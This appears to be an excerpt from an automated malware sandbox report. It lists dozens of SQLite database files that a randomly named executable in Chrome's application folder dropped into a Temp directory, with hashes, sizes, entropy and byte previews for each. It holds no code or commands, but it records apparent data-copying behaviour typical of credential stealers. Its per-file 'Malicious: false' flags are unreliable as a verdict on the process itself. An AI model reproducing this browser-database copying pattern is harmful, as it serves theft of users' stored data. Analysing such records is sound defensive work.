Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bbDdPD3FbZ

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cRv9h3KbIa

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cWokhaApoN

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cc495AEzSI

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cdYXwj3Fjy

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dh8bj8YP9x

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dmgOaDNNc2

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dmn0VA8qgD

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dnjNSv8tPU

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dujIYDAiaX

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\e0XduhGNis

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eLGxZh33Te

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eLYSZ25Zvx

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eOfD6iaL5A

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eTp2CAzPVP

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\en1MPdMwWJ

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eucA1j7Jk1

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fI9GK2E8sm

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fKXBEtHg79

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fOMtcANPDv

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fSljUuTLFQ

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\foOjEIm3EO

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fvXjgBLX2v

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gBxcVwmAAM

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gM2Yt1vZCm

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
